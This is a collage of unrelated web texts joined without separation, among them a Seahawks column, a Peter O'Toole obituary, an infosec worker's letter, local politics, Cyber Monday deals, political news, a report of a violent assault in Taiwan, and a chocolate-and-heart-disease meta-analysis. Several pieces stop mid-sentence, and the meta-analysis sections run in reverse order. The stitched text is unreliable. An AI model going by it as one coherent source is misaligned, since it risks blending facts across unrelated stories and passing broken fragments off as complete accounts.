This team believes, truly believes, in itself. And the city believes with it. Hawks players believe in the notion of the next man up, whether it's Frank Omiyale filling in for Russell Okung at tackle, or cornerback Jeremy Lane replacing Brandon Browner.
"Sports don't build character. They reveal it," John Wooden once said.
The Seahawks are loaded with character and a few amiable characters. (I'm talking about you, Richard Sherman.) Rookie quarterback Wilson has become the public face of that character.
For reasons I'll never know, Carroll refused my sage suggestion that he start a veteran, Matt Flynn, at quarterback. I wrote that this season was too important to gamble on a rookie quarterback, even one with the eye-popping skills of Wilson.
But Carroll took the road less traveled, his usual route. He trusted his gut. He trusted his general manager, John Schneider. And he believed that what he saw from Wilson in minicamps and training camp would translate to the field on game day.
Wilson does everything with a purpose. He doesn't waste reps in practice. He makes every film session count. He often tells us that "separation comes from preparation." And now, because of his preparation, Wilson has separated himself. He is the last rookie quarterback standing.
The country is talking about Russell Wilson and the Seahawks. Even as the winter gloom sits on Seattle like an immovable object, a light is shining on the city.
Seattle is relevant again. The Seahawks can't be ignored.
Steve Kelley: 206-464-2176 or skelley@seattletimes.comPeter O'Toole Dead at 81
Peter O'Toole Dead -- 'Lawrence of Arabia' Star Dies at 81
Exclusive Details
Hollywood legenddied peacefully in his sleep last night... TMZ has learned.A rep for O'Toole tells us the actor passed away at a hospital in London surrounded by friends and family... and says Peter had been ill for some time.Peter starred in over 90 different TV and film roles -- including "", "" and "" -- and holds the record for most Oscar nominations without ever winning.Luckily in 2003 the Academy jerks smartened up -- and gave him a special honorary award.Peter retired from acting last year saying he no longer had the heart for it.Peter's daughter Kate released a statement saying, "His family are very appreciative and completely overwhelmed by the outpouring of real love and affection being expressed towards him, and to us, during this unhappy time."Kate adds, "Thank you all, from the bottom of our hearts. In due course there will be a memorial filled with song and good cheer, as he would have wished."He was 81.Wow, the dust hasn't even settled yet on the controversial million dollar deal-breaking e-mail and I'm receiving a ton of e-mail from the community on their own frustrations working in information security. I had no idea so many folks in this line of work were so miserable!
I am seriously blown away at some of the information that you're all sharing (and trusting me) with.
I was halfway through a chilled coffee frap when I found this gem in my inbox (edited for grammar and privacy):
Chief Monkey,
After reading your story on dbsecpro's adventure with his employment, I had to dig deep and share something that I've only shared amongst my closest friends and my wife/children. Since I know you anonymize things pretty well before publishing, you have my permission to publish this. Maybe it will help someone.
My story goes something like this. I grew up in India, and my parents moved to the USA when I was a teenager. My father was a computer scientist, and my mother was a homemaker. It was always impressed on me to be the best at everything that I did, and I think I did a good job at that. I excelled through all of my academics (4.0) and worked at several big tech companies. I moved up the ranks pretty fast, and ended up as a department head for information security. I was in my 20's and making $250k a year. My parents were very proud, and I have to admit that life was great.
After a few years as department head, my company brought in a new EVP of technology. This lady was lured away from a competitor, and I don't even want to imagine her compensation, but that is besides the point.
My introduction to her was torturous at best. She didn't like my supervisor (a SVP of technology) and made it immediately known that she didn't care for me either. She looked over all of our accomplishments during that last few years and tore them all apart. Her reasons made no sense, and it was readily apparent that she actually didn't understand risk or security very well at all.
Within her first few weeks, she completely reorganized the technology branch of the company, including my area. She transformed us from a hierarchical reporting structure to a bizarre maze of matrixed reporting. She had VPs reporting to Directors, and in some cases department heads (like myself) reporting to consultants! The real magic came when she fired my supervisor (for being too old?) and replaced him with someone 20 years younger and 30 years dumber. From the moment this person entered the company, she had "I am a yes woman" tattoo'd on her forehead.
Fast forward a few more weeks, and the EVP completely changed how the company tracks and reports on projects. This created mass havoc in my area, because we mapped our security and compliance activities directly to business and technology projects. With this new method (which did not follow any known sane PM processes) in play, projects began |
noise limits except for a handful of exceptions. I am curious to look into why noise variances need to be exceeded, except in the case of the Les Schwab Amphitheater. The City has done some work on this as have residents. There is still some divergence in understanding exactly who Bend’s code matches up with other communities’ noise ordinances.
A New Mayor for Bend in 2017
SW: Sally Russell, our current mayor Jim Clinton chose not to run for re-election, and you're listed as Mayor Pro Tem. If your fellow council members choose you as mayor of the city of Bend, what leadership roles or issues would you take on?
Sally Russell: Working with the new Council, as Mayor, I would be fair and disciplined, and work with everyone to move through public meetings efficiently and get our work done. Keeping in mind, respectful and concise discourse serves everyone well. I have always been an advocate for reaching in and engaging citizens in all neighborhoods, all corners, of our City. This includes bringing City Councilors out of City Hall, and closer to voters throughout Bend on a regular schedule. During the Council’s goal setting, I will push for this, and know that other Councilors are interested in this as well.
And, as a political body, the Bend City Council will need to leave room for community conversations on issues that arise on a spontaneous basis, while keeping our eye on the greater, long term needs of our community.Ming the Mollusc is the oldest animal, aged at 507 years old, and was killed by researchers when they opened it to better study it. (Credit: Bangor University)
Nov. 14 (UPI) -- Scientists at Bangor University in North Wales have inadvertently killed Ming the Mollusc, which it turns out was the world's oldest living animal.
The ocean quahog -- a type of deep sea clam -- was found in Iceland in 2006 and found to be 405 years old. However while taking a closer look at it, researchers found that it may be a hundred years older, pegging it's age at 507 years old. But this process, opening its shell to put it under scrutiny, led to the death of the mollusc.
“We got it wrong the first time and maybe we were a bit hasty publishing our findings back then. But we are absolutely certain that we’ve got the right age now,” said Dr. Paul Butler, an ocean scientist at the university.
This means that the mollusc was born in 1499 -- a time when the Ming dynasty was flourishing, seven years after Columbus reached America and a decade before Henry VIII became King of England.
RELATED Scientists recover oldest big cat fossil yet
The quahog's shell grows every year, producing visible rings for each growth spurt, much like a tree. These can be found near the hinge of the clam and on the outer shell. It is generally agreed that the hinge is the best place to estimate the age of a mollusc, as it is shielded from external forces.
Based on the rings on the quahog's hinge researchers estimated it's age to be 405 years but on taking a look at the outer shell they revised their calculations, dating it at 507 years old.
“This is important to our understanding of how much changes in the oceans affect the climate on land," said Rob Witbaard of the Royal Netherlands Institute for Sea Research, to ScienceNordic. "And the really amazing thing is that the pattern in the ocean quahog’s growth rings actually recurs in tree rings."
[The Telegraph] [ScienceNordic]
RELATED Camel tests positive for Mers virusDue to other production commitments (mainly prep, writing, and editing), I haven’t spent as much time on set as I might have liked for this latest episode. Fortunately, my former Stargate cohort, Ivon Bartok, has done a bang-up job overseeing the action in my absence. So good, in fact, that I could probably stay in Vancouver next season and Skype in for meetings (Don’t think I haven’t thought about it). Today, however, was one of those rare instances where I actually spent a good part of the morning on set – in this case, watching the fantastic John Stead in action. He positively tore through those early scenes – bridge, airlock, quarters, and the meaningful hug (the second of the season so far) – and managed to run through the big fight sequence before lunch.
The rest of his day was spent on the fight but, alas, I didn’t get to see it as I was in the production offices for most of the afternoon, in and out of meetings. Oh, also the read-thru for episode 205 which was followed by a delightful tete-a-tete with actress Zoie Palmer (Android) over Japanese whisky and script notes.
Off to watch Steve Dimarco’s director’s cut of Episode 203. Allow me to leave you with a double dose of french bulldog…
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Like this: Like Loading...If a story leads the Drudge Report for most of the day, you’re eventually going to hear about it. So, here you go: “Report: 83 percent of doctors have considered quitting over Obamacare,” by Sally Nelson.
Eighty-three percent of American physicians have considered leaving their practices over President Barack Obama’s health care reform law, according to a survey released by the Doctor Patient Medical Association.
Intriguing. What’s the Doctor Patient Medical Association? Nelson refers to it as “a non-partisan association of doctors and patients.” But lots of organizations claim to be “non-partisan.” The DPMA’s co-founder, quoted here, is Kathryn Serkes. She’s “non-partisan” in the sense that she worked for a conservative Republican in the 2010 Washington state race for U.S. Senate, and appeared alongside Republican members of Congress at Tea Party rallies against the Affordable Care Act. Her partner at the top is Mark Schiller, M.D., who’s also a fellow at the Pacific Research Institute, and the author of a classic 2009 column about how “Obamacare” would succeed by helping to kill sick people.
If we can just make sure to treat cancer patients with older, cheaper, more ineffective treatments, then treatment will actually be more effective – at cutting costs as more cancer patients die. We not only save the cost of more expensive medication – we also save by relying on less expensive stays in hospices instead of more extended active treatments.
More importantly, if we can help patients die quickly now, then we can save on the cost of any future major illnesses they would’ve had that would have cost society a whole boatload of money. Basically, one severe potentially terminal illness is cheaper than two.
So, they have some opinions. But how did they get these survey results?
The survey was conducted by fax and online from April 18 to May 22, 2012. DPMAF obtained the office fax numbers of 36,000 doctors in active clinical practice, and 16, 227 faxes were successfully delivered… The response rate was 4.3% for a total of 699 completed surveys.
If you read the original Nelson story, you notice that the big medical groups don’t bother commenting until they process the numbers. But you don’t often bother if the data looks like this.Georgian boxer Avtandil Khurtsidze was supposed to fight Englishman Billy Joe Saunders next month for the WBO middleweight title, but he can’t make the fight anymore. He just got arrested in connection with an FBI sting on an alleged Russian/Georgian organized crime syndicate.
The Justice Department announced yesterday that the FBI’s New York Eurasian Organized Crime Task Force had rounded up and arrested 33 members of the Shulaya Enterprise, including the organization’s boss, Razdhen Shulaya, and charged them with conspiracy as part of the Racketeer Influenced and Corrupt Organizations (RICO) Act. Also on the list of defendants is Levan Makashvili, a professional MMA fighter who spent time with the UFC.
Khurtsidze currently holds the interim WBO middleweight title. Makashvili had three fights in the UFC featherweight division before leaving the promotion. Both men were born in Georgia but fight out of New York. Khurtsidze blamed the whole thing on a “very serious misunderstanding,” and said he was still preparing for his fight with Saunders, which has already officially been called off. According to the Justice Department’s press release, the Shulaya Enterprise was allegedly involved in a stunning range of activities, including massive chocolate theft.
The dizzying array of criminal schemes committed by this organized crime syndicate allegedly include a murder-for-hire conspiracy, a plot to rob victims by seducing and drugging them with chloroform, the theft of cargo shipments containing over 10,000 pounds of chocolate, and a fraud on casino slot machines using electronic hacking devices.
Both men face a maximum penalty of 20 years if convicted. You can read the unsealed indictment below.Sarah Tew/CNET
Skipping the Black Friday crowds doesn't mean you have to miss out on the best deals. Cyber Monday is just as good for scoring great deals ahead of the holidays, and lots of hot tech products can be had for low prices online--all from the comfort of your couch.
We're tracking all the tech deals we find here, so check back for updates.
Amazon
Amazon is offering discounts on some of its own branded tech devices. The Amazon Fire Phone is available unlocked with no contract for $199. This deal ends on Cyber Monday, Dec. 1.
The Belkin WeMo LED Lighting Starter Set is $79.99 (a $20 discount). Details here.
You can get the LG G3 for $0.01 with a contract from AT&T and Sprint. You can also get the HTC One M8 (and M8 Harman/Kardon edition) for $0.01 with a contract from either Verizon, Sprint or AT&T.
Amazon Fire HD 7 for $109 (a $30 discount). This deal ends on Cyber Monday.
Amazon has announced its "eight days of Cyber Monday" promotion, featuring lots of deals beginning Saturday, November 29. A raft of new deals are live now, with promotions on thousands of gadgets, including Sony and Samsung TVs, the Nest Learning Thermostat, the Acer Chromebook and even a 3D printer. The deals will continue to go live until next Friday.
We've picked out some of the best-looking deals in our article here. But you'll want to watch Amazon's Cyber Monday page for many, many more.
Best Buy (see Best Buy's Cyber Monday deal page here)
Sharp 42-inch LCD HDTV for $349 (a $130 discount).
Samsung Galaxy Tab Pro 8.4 16GB for $199 (a $100 discount).
Canon EOS Rebel T5 DSLR camera for $449 (a $100 discount).
Dropcam Wireless camera for $100 (a $50 discount).
Google Play gift cards: $50 gift card for $45, $25 gift card for $22.50.
eBay
Get $100 in iTunes codes for $75. Details here.
Gamestop
$70 off Xbox One Holiday Value Bundle ($329.99) and $50 off Xbox 360 500GB Holiday Value Bundle ($199.99)
$20 off new video game titles for Xbox 360 and PS3: NBA 2K15 ($39.99), Borderlands the Pre Sequel ($39.99), WWE 2K15 ($39.99)
$10 off BioShock Infinite Complete ($29.99)
Free Great White Shark and Bull Shark cards with purchase of PS3 Grand Theft Auto V video game ($30 value)
$20 off Thrustmaster Ferrari 458 Spider Racing Wheel ($79.99)
Google (see Google's promotions for Nov. 28 to Dec. 1)
LG G Watch for $99 (a $130 discount) plus $50 credit for content at Google Play.
Chromecast for $25 (a $10 discount).
Nest Learning Thermostat for $199 (a $50 discount) on Amazon.
Dropcam for $120 (a $30 discount) on Nests's site.
You can also get $50 credit for content at Google Play when you buy Nexus 9 tablet, Sony Smartwatch 3, Samsung Gear Live, LG G Watch R or Asus ZenWatch.
Marvel
Marvel Unlimited is selling a month's subscription for $0.75 this week. To get in on the sale, you'll need to head over to the Marvel Unlimited checkout and enter the promo code MARVEL75.
Target
Samsung 40-inch 1080p LED TV for $379 (a $250 discount), plus a $30 Target gift card with purchase.
Vizio 60-inch 1080p TV for $799 (a $50 discount), plus a $100 Target gift card with purchase.
Check out Target's other TV deals.
Canon EOS Rebel T5 DSLR camera with bag and 8GB memory card for $499 (a $300 savings).
Dyson DC35 Origin White Digital Slim vacuum for $199 (a $100 discount).
T-Mobile
T-Mobile is offering an iPhone 6 64GB for the price of a 16GB model, an iPhone 5S 64GB for the price of 32GB and a 32GB iPhone 5C for the cost of an 8GB model. Go to this page to get the offer.
Staples
Asus X205 laptop for $149 (a $100 discount), online only.
Nobis 7-inch 8GB tablet for $39 (a $20 discount).
Dell 24-inch monitor for $99 (a $100 discount).
Beats by Dre Executive Noise Cancelling headphones for $159 (a $140 discount).
Staples is also offering $250 off select desktops and laptops. See all of their deals here.
Walmart (see Walmart's Cyber Monday page here)
Apple iPad Mini 16GB Wi-Fi (First generation) for $219 (a $79 discount).
GoPro Hero3+ Silver for $249(a $50 discount).
Samsung 55-inch 4K ultra-HD TV for $1,197 (a $400 discount).
Samsung 55-inch 1080p TV for $997 (a $900 discount).
Sanyo 58-inch 1080p LED HDTV for $499 (a $300 discount).
Sony PlayStation 4 Lego Batman and Little Big Planet 3 bundle with your choice of an extra game and controller for $449 (a $189 discount).
Nintendo 3DS XL New Super Mario Bros 2 Limited Edition for $149 (a $50 discount).
Neato XV-21 robot vacuum for $269(a $160 discount).
Manufacturer deals
Channel Master: Get a Channel Master antenna DVR for $175 (regular price $249). Note: This deal is valid on Black Friday from 6-11 a.m. PT and again on Cyber Monday from 6-11 a.m. PT.
GoPro: People who buy a Hero4 Black or Hero4 Silver videocamera can get either a 64GB MicroSD memory card or a GoPro extendable three-way mount on December 1 by using the checkout code "EPICDEAL."
HTC: Get a Re Camera for only $99 (50 percent off) Order a RE online or purchase it through Verizon, AT&T, Best Buy and T-Mobile's websites, or through The Underground on T-Mobile. Offer also available in-store at Verizon, AT&T and Best Buy. While supplies last. You don't even have to wait till Cyber Monday to take advantage of this one. This promotion begins on Thanksgiving at 9 p.m. PT and ends on Cyber Monday at 9 p.m. PT, or when inventory runs out.
Kwikset: The Kevo Smart Lock can be had for $199 (a $50 discount) online today. Check the list of retailers carrying this deal here.
Makerbot: You can get $200 off the Makerbot Replicator 3D printer (original price $2,899), or $100 off the smaller Replicator Mini (original price is $1,375) at makerbot.com.
Microsoft: Over the Thanksgiving weekend, the Xbox One will be available at many big retailers starting at $329 (a $70 discount), bundled with Assassin's Creed Black Flag and Assassin's Creed Unity. On Cyber Monday, that deal will be available online via Amazon, Best Buy, GameStop, Microsoft Retail Stores, Target, Toys R Us and Walmart.
Mixbook: Make your own photo book today and get 50 percent off the price, plus free shipping. Details here.
Motorola: The unlocked, second-generation Moto X will be $140 off. Buy it with a Verizon contract and you'll get it for a penny. The sale runs from 9 a.m. - 3 p.m. PT on Monday. Here's a link with details.
PowerSkin: The PoP'n battery pack for charging iPhones or Android phones will be available for one cent at the PowerSkin website, plus shipping. Use the "penny" code at checkout. These chargers typically cost $50-$60.
Roku: The streaming hardware pioneer is starting its Cyber Monday deals early, with bargains available now on its entry-level streaming video devices. And it's sweetening the deal with two months of Rdio Unlimited, gratis. More details can be found here. While supplies last, natch.
Ubisoft:Save $10 on Assassin's Creed Unity Phantom Blade and up to 75 percent off some games. This deal ends December 3 at 11:59 pm PST. Get those details here. It's also offering Buy One Get One Free deals on some games until December 15. Get those details here.
Withings: The Pulse O2 fitness tracker is on sale for $72, down from $119. Pick one up from Withings' website starting now through the end of Cyber Monday.
We'll be updating this post in the days ahead. Leave us a comment with any good Cyber Monday deals you spot.SC Dems nix Colbert bid Mike Aivaz and Muriel Kane
Published: Thursday November 1, 2007
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Print This Email This Updated: Colbert denied spot on presidential primary ballot South Carolina Democratic officials apparently aren't big Comedy Central fans. The state party decided Thursday to deny comedian Stephen Colbert a place on its presidential primary ballot, CNN reported. Colbert filed the necessary paperwork and paid a $2,500 fee to get on the ballot, but the state party had final say over whether his name could appear, according to the Associated Press Democratic officials discussed the relative viability and seriousness of all nine candidates who have filed, and apparently decided Colbert did not meet the necessary threshold. "This vote is very important. They have a critical job to do to keep this primary in shape," Joe Werner, the party's executive director, told The State newspaper. The host of The Colbert Report told his audience on Wednesday that he had officially filed for the Democratic race. Colbert then uncharacteristically broke character for a moment in announcing -- to loud applause -- that "I am not willing to write a $35,000 check to the Republican Party.... I understand you have to keep a club exclusive but I paid less for my black-market liver." However, Colbert's deeper concern was with defining just what his fellow-candidates see as the job description when they say they want to be president. "By that, do they mean the chief executive as defined by the Constitution?" he asked. "Or are we talking about George Bush's job?... Bush has got a job with some balls. A job where you can tell the Congress and the US Supreme Court to open wide for a Texas teabagging." Possibly influenced by finding himself a candidate only on the Democratic side, Colbert then made it more apparent than usual that his sympathies are on the side of the Constitution and against anyone who would emulate George Bush. He demonstrated that Mitt Romney is "clearly applying for the new job" with a clip of Romney stating, "I hear from time to time people say, 'Hey, wait a second. We have civil liberties we have to worry about.' But don't forget, the most important civil liberty I expect from my government is my right to be kept alive." "That speech will play great in New Hampshire, what with their state motto, 'Live Free or Do Whatever It Takes So I Don't Die,'" Colbert commented. Colbert also noted with obvious approval that when the Constitution was written, "the theory was that if you had three equal branches of government, they'd be too busy fighting amongst themselves to oppress the people." But then -- moving for the moment back into his right-wing pundit persona -- he added that "while checks and balances are great in theory... the Constitution is not a suicide pact. In a time of extraordinary danger, executive power must be extraordinary." Finally, with his two personas converging in one brilliant summation, Colbert concluded by saying, "I would like to be the first candidate to make my position clear. I am not running for president. I am running for President Bush. Why? Because I believe in freedom -- and I would be crazy to let anybody else have that kind of power over me." The following video is from Comedy Central's Colbert Report, broadcast on October 31, 2007
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Think you're smart? Take the FREE IQ Test now.For some of us, anger and frustration begin early in the day. Cut off by the guy in the Pinto. Then stuck behind a slow truck -- what is wrong with that guy? Got around the truck, but still missed every single light. Almost there, but reached the final intersection just as road construction began -- why do they have to do this during rush hour, anyway? Spilled the coffee reaching for the parking pass. Why can't they have automatic parking gates? Arrived at work ten minutes late, frustrated and mad at the world. If this is your typical morning, you are not going to like what we have to say next.
Repeated bouts of anger are associated with thickening of the arteries and development of plaque, possible precursors to heart attacks. Over time, people who are frequently angry appear to have an increased risk of developing coronary heart disease. The stronger and more frequent the bouts of anger, the greater the risk of heart disease.
Some scientists argue that expressing anger, rather than holding it in, is better for the heart. This is unproven. Yelling might make you feel better for a moment, but it will probably endanger your job or your relationships -- leading to further stress and anger. A more effective strategy includes avoiding situations that trigger anger, and managing anger when it does occur. People who anger easily are frequently also pessimistic and cynical, and pessimism is bad for your heart. In an observational study of nearly 100,000 women, those with a pessimistic, cynical disposition developed more coronary heart disease, had more heart attacks, and died earlier than optimists. Cynical women were also more likely to develop cancer.
ANXIETY
Like anger, anxiety may forecast the development of coronary heart disease. We all know the tight feeling that we get in the chest when we become very anxious, so we should not be surprised to learn that this emotion can affect heart health. The circumstantial evidence supporting anxiety as a marker of heart risk is strong. In an observational study of 50,000 18- to 20-year-old Swedish men, those with high levels of anxiety substantially increased their risk of developing coronary heart disease over the next 37 years. A recent meta-analysis incorporating twenty studies and nearly 250,000 individuals also found that anxiety is associated with development of coronary heart disease.
Once again, the more frequent and intense the anxiety and worry, the more likely the development of heart disease. Veterans with post-traumatic stress disorder, which is characterized by intense anxiety, tend to have more calcium (a marker of coronary blockages) in their hearts' arteries than do soldiers without the disorder. On the civilian front, people who suffer from panic disorders face an increased risk of developing heart problems.
Excerpted from Heart 411: The Only Guide to Heart Health You'll Ever Need (Three Rivers Press)
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.
Marc Gillinov is a cardiac surgeon at the Sydell and Arnold Miller Family Heart & Vascular Institute at Cleveland Clinic.Kellyanne Conway Thursday said she wanted to correct reports that President Donald Trump's youngest daughter Tiffany is registered to vote in two states, and demanded to know why there is so much fear surrounding the president's call for an investigation into voter fraud.
"I talked last night with Tiffany Trump, and she said it is flatly false she is registered in two states," the president's counsel told NBC's "Today" show anchor Matt Lauer.
"And I recall talking with Tiffany through the fall, when she was making sure she could re-register in New York to vote for her father."
Trump's daughter had already been registered to vote in Philadelphia, while she was attending the University of Pennsylvania, and Conway said she told her she went through the process to change registrations and it was "very Byzantine and took a long time."
The president, while making his call for an investigation into voter fraud, mentioned the issue of people being registered in more than one state. Soon after, other associated with the president came up as being registered in multiple states, including his daughter, Chief Strategist Steve Bannon, and Treasury Secretary nominee Steven Mnuchin.
On Thursday, Conway said she had not talked to Bannon about the issue, but she could "guarantee, he didn't vote in two states."
According to the Sarasota County Supervisor of Elections in Florida, Bannon was removed from voting rolls there on Wednesday after the New York City Board of Elections made contact.
However, the "Today" show posted Trump's daughters voter registration information on its website, showing she remains active on both New York and Philadelphia rolls.
Conway, meanwhile, said she wants to know why NBC was "so excited" to cover when Green Party candidate Jill Stein called for an election recount, "which was completely bogus, and a sock to the taxpayers" because of claims of fraud.
Lauer noted that Trump said at the time there was no evidence of fraud, and the recount was not warranted.
"Jill Stein, Miss Woman of the People, ended up pocketing a lot of money for her endeavors," said Conway, denying that Trump's call for an investigation is an "ego trip."
"He is the leader of our democracy, and he wants to make sure that the undergrading hallmarks of our democracy, one person, one vote," said Conway. "I appreciate he's doing it without a campaign on the horizon."There are other forces at work. China has taken steps over the past few years to relax its hold on the renminbi. That makes it easier for banks and merchants abroad to save the renminbi or to use it in transactions. Manufacturing has also declined as a major growth driver in the country’s economy, as the government pushes to build its growing consumer and high-tech sectors.
Since August of last year, when Beijing surprised global markets with a one-time devaluation of its currency, investors have been broadly seeking to unload their renminbi in favor of dollars.
In Hong Kong, the biggest offshore center for renminbi banking, deposits of the Chinese currency peaked in December 2014 and have since fallen by a third.
For five years since 2010, the renminbi had made small but progressive gains as a global payment currency, as measured by transactions processed on the Swift global payment system. But that usage crested in August 2015 at 2.8 percent of transactions, and it has declined steadily since then, to 1.9 percent in August.
China has spent hundreds of billions of dollars from its foreign reserves over the past year to support the value of the renminbi and to prevent it from weakening more drastically. A sharp fall could lead even more people to find ways to convert their renminbi into other currencies, resulting in an exodus of money from the country. More broadly, it could undermine Beijing’s case that the renminbi is worth holding.
Under Pressure
Even long-term supporters of the renminbi now seem to see the currency’s pause as perhaps inevitable.
“It’s been the strongest currency in the world for the last 10 years or so, and anything that strong should consolidate, should have a correction,” said Jim Rogers, a Singapore-based investor who is well known for being bullish on China. “Is it a normal market correction or being jiggled? Maybe some of both,” he added.A WhiteHouse.gov petition demanding that President Trump release his tax returns has surpassed 140,000 signatures — a figure that would require the White House to respond if the new administration continues to follow a policy instituted by its predecessor.
“The unprecedented economic conflicts of this administration need to be visible to the American people, including any pertinent documentation which can reveal the foreign influences and financial interests which may put Donald Trump in conflict with the emoluments clause of the Constitution,” the petition reads.
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Trump broke with decades of precedent by refusing to release his tax returns during the presidential campaign, citing a “routine audit.” A leaked partial tax return obtained by the New York Times last year showed that Trump might have avoided paying federal income taxes for 18 years.
More than 146,000 people had signed the WhiteHouse.gov petition by Saturday at 4:30 p.m., just a day after Trump was sworn in.
The Obama administration established a policy of responding to any WhiteHouse.gov petition that received more than 100,000 signatures in 30 days. It’s not yet clear whether the Trump administration plans to do the same.
Write to Katie Reilly at Katie.Reilly@time.com.Authorities have arrested a 79-year-old man in Taiwan after he sliced off his girlfriend's nose, ears and lips in a fit of jealousy and flushed them down the toilet.
According to the Central News Agency, the man, known only by his surname Huang, had suspicions that his 47-year-old companion, Zhu, was having an affair.
He allegedly bound the woman's hands and feet with rope while she was asleep on Wednesday, and cut off her nose, ears and lips with a fruit knife.
Local police said that when the victim screamed in pain, Huang stuffed her mouth with a towel and continued with his attack. He later flushed the body parts down the toilet before calling for an ambulance.
Zhu was taken to Changhua Christian Hospital and is now in a stable condition and under intensive care.
The police also told Central News Agency that the couple quarrelled often. They added that Huang seemed to be a possessive lover, and had previously threatened his girlfriend with a note, warning her that there would be bloodshed if he caught her dining with another man.
yeosamjo@sph.com.sgImage caption Liu Xiaobo was jailed for 11 years in December 2009
The United States has called on China to end the apparent house arrest of the wife of Nobel Peace Prize winner and jailed dissident Liu Xiaobo.
Speaking to the BBC by telephone, Liu Xia said she was unable to leave her home.
"Liu Xia's rights should be respected, and she should be allowed to move freely without harassment," a spokesman for the US embassy in Beijing said.
The award honouring Mr Liu has drawn a furious reaction from China.
Beijing has called it an "obscenity" that went against the principles of the Nobel prize.
Liu Xiaobo was a key figure in the pro-democracy protests in Tiananmen Square.
Relatives of victims of the 1989 military crackdown are now calling on the Chinese government to release him.
In an open letter, a group known as the Tiananmen Mothers praised Mr Liu for his non-violent struggle in the pursuit of democracy in China.
One of the signatories, Zhang Xianling, told AFP news agency: "He has fought with and supported the Tiananmen Mothers for over 20 years, he has always stood with us and today we are standing by him."
The wife and lawyers of Mr Liu are also considering a possible bid for a retrial over his 11-year sentence for "inciting subversion", one his lawyers was quoted as saying.
Mrs Liu said she hoped her husband would "be released as innocent".
Isolation
Mr Liu, 54, dedicated his award to the "lost souls" of Tiananmen, during a meeting in jail with his wife on Saturday.
Media playback is unsupported on your device Media caption Before her detention Liu Xia spoke to the BBC about her husband
In an interview with the BBC, Mrs Liu said the meeting had been very emotional.
He told her he wanted to pay tribute to the Tiananmen victims "because they lost their lives putting democracy into practice".
She said he had asked her to accept the award on his behalf in Norway.
However, she said: "I can't even leave my own home now."
She said diplomats from the Norwegian embassy in Beijing were prevented from visiting her on Monday.
There are also reports that more political activists in Beijing have had their movements restricted, including Zhou Duo, who was with Mr Liu during the Tiananmen Square protests.Conclusions Based on observational evidence, levels of chocolate consumption seem to be associated with a substantial reduction in the risk of cardiometabolic disorders. Further experimental studies are required to confirm a potentially beneficial effect of chocolate consumption.
Results From 4576 references seven studies met the inclusion criteria (including 114 009 participants). None of the studies was a randomised trial, six were cohort studies, and one a cross sectional study. Large variation was observed between these seven studies for measurement of chocolate consumption, methods, and outcomes evaluated. Five of the seven studies reported a beneficial association between higher levels of chocolate consumption and the risk of cardiometabolic disorders. The highest levels of chocolate consumption were associated with a 37% reduction in cardiovascular disease (relative risk 0.63 (95% confidence interval 0.44 to 0.90)) and a 29% reduction in stroke compared with the lowest levels.
Data extraction Data were extracted by two independent investigators, and a consensus was reached with the involvement of a third. The primary outcome was cardiometabolic disorders, including cardiovascular disease (coronary heart disease and stroke), diabetes, and metabolic syndrome. A meta-analysis assessed the risk of developing cardiometabolic disorders by comparing the highest and lowest level of chocolate consumption.
Study selection Randomised trials and cohort, case-control, and cross sectional studies carried out in human adults, in which the association between chocolate consumption and the risk of outcomes related to cardiometabolic disorders were reported.
We carried out a systematic review and meta-analysis of the scientific literature to evaluate the association between chocolate intake and the risk of developing cardiometabolic disorders, including cardiovascular disease (stroke, heart failure, and myocardial infarction), diabetes, and metabolic syndrome. We also evaluated whether this association would differ by type of cardiometabolic disorder, sex, and study characteristics.
Diet is one of the key lifestyle factors involved in the genesis, prevention, and control of cardiometabolic disorders. Cocoa products containing flavonol have been shown to have an encouraging potential to help prevent cardiometabolic disorders. 5 Recent studies (both experimental and observational) have suggested that chocolate consumption has a positive influence on human health, with antioxidant, antihypertensive, anti-inflammatory, anti-atherogenic, and anti-thrombotic effects as well as influence on insulin sensitivity, vascular endothelial function, and activation of nitric oxide. 6 7 8 9 10 11 12 13 14 15 16 These beneficial effects have been confirmed in recent reviews and meta-analyses, supporting the positive role of cacao and cocoa products on cardiovascular risk factors such as blood pressure, cholesterol levels, atherosclerosis, and insulin resistance. 17 18 19 20 21 22 23 24 25 However, most of the existing evidence is on intermediate factors of cardiovascular disorders, and it remains unclear whether chocolate consumption is related to reductions in hard cardiovascular outcomes (such as myocardial infarction and stroke).
According to the World Health Organization, by 2030 nearly 23.6 million people will die from cardiovascular disorders. 1 2 Furthermore, about a fifth of the world’s adult population are thought to have metabolic syndrome, a cluster of factors associated with an increased risk of type 2 diabetes and cardiovascular disease. 3 4 This increase in cardiometabolic disorders exerts a great burden on people, healthcare organisations, and society in general. However, cardiometabolic disorders are largely preventable, and a better understanding of the factors associated in their physiopathogenesis and implementation of interventions to modify these factors will be critical in tackling the current epidemic.
To test the robustness of our findings, we repeated the meta-analysis by different outcomes (any cardiovascular disease, diabetes, heart failure, and stroke), sex, and types of chocolate (dark, milk, white).
Finally, we assessed publication bias by using a funnel plot and Begg’s test to find out whether there was a bias towards publication of studies with positive results among studies with a smaller sample size. 28
For each study, we compared the group with highest chocolate consumption against the group with the lowest consumption. Hazard ratios, relative risks, and odds ratios were assumed to approximate the same measure of relative risk. By pooling the study-specific estimates using a random effects model that included between-study heterogeneity (parallel analyses used fixed effect models), we calculated summary relative risks. We carried out a cumulative meta-analysis by outcome in which the pooled estimate of the association reported was updated each time the results of a new study were included. Possible sources of heterogeneity of relative risks were examined using the Cochran-Mantel-Haenszel test for the null hypothesis of no effect (relative risk=1), and the Mantel-Haenszel common relative risk estimate. 27 The I 2 (which quantifies the percentage of variation attributable to heterogeneity) was reported as a measure of consistency across the studies.
We evaluated the differences between low and high chocolate consumption on outcomes such as diabetes, incidence of cardiovascular disease, cardiovascular mortality, coronary heart disease, incidence of stroke, and deaths from stroke. We pooled results using a random effects model, and we did tests for heterogeneity and publication bias. Results were expressed as pooled relative risks with 95% confidence intervals.
Two independent reviewers (AB-L and OHF) evaluated the quality of the studies included using a modified scoring system that was created on the basis of a recently used system (designed with reference to MOOSE, QUATSO, and STROBE) that allowed a total score of 0–6 points (6 reflecting the highest quality). 26 The system allocates one point each for (a) any justification given for the cohort; (b) appropriate inclusion and exclusion criteria were used; (c) diagnosis of cardiometabolic disorders was not solely based on self reporting; (d) participants’ usual chocolate consumption was assessed with a validated tool; (e) adjustments were made for |
UPDATE: Group: Sturgeon endangered by NJ nuclear plants
RELATED: Sturgeon killed at Salem in'shocking' numbers
RELATED: Lawsuit targets lack of US action of sturgeon plan
